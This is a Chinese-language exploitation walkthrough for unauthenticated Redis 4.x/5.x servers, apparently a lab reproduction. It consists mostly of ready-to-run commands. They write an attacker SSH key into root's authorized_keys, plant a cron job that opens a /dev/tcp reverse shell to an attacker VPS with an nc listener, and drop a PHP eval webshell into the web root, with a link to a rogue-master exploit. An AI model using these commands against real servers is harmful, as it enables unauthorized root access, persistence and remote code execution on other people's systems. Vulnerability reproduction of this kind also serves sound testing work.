Redis 4.x/5.x 未授权访问漏洞

Redis 4.x/5.x 未授权访问漏洞

Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

参考链接:

漏洞复现

环境启动后,通过redis-cli -h 192.168.44.132即可进行连接,可见存在未授权访问漏洞。

常用命令

ping:检测是否连通 且 有权限执行命令

image-20211216171236794

info:读取Redis敏感数据

image-20211216171334759

keys:

NAME CONTENT
keys * 读取全部key及其对应的值
get 读取某个key值
set 增加key
flushall 删除所有key
del key 删除某个key

config:

NAME CONTENT
config get dir 读取备份目录
config set dir 设置备份目录
config get dbfilename 读取备份文件名
config set dbfilename 设置备份文件名

slaveof:slaveof <vpsIP> PORT 设置主从关系

exp:https://github.com/vulhub/redis-rogue-getshell

未授权getshell

写入公钥

条件:拥有root权限 或 对 /root/.ssh/ 目录可写

1
2
3
4
5
6
#vps生成一个公钥
ssh-keygen -t rsa
#将公钥写入靶机的key
cd /root/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > gy.txt
cat gy.txt | redis-cli -h <targetIP> -x set gy #-x参数是将管道符之前的内容写入key
1
2
3
4
config set dir /root/.ssh/      #如果没有权限则无法getshell
config set dbfilename "authorized_keys"
get gy
save

或者

1
2
3
4
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\ ssh-rsa AAAAB.......3NzaC1ajVNsN48P root@kali\n\n\"
save

crontab定时任务反弹shell

条件:对 /var/spool/cron 目录可写

1
2
#vps监听一个端口
nc -lvvp 4444
1
2
3
4
set joker "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/<VPSIP>/<PORT> 0>&1\n\n"
config set dir /var/spool/cron #如果没有权限则无法getshell
config set dbfilename root
save

网站写马

条件:已知网站根目录路径 且 目录可写

1
2
3
4
config set dir /var/www/html
set joker "<?php @eval($_POST['cmd']);?>"
config set dbfilename webshell.php
save
0%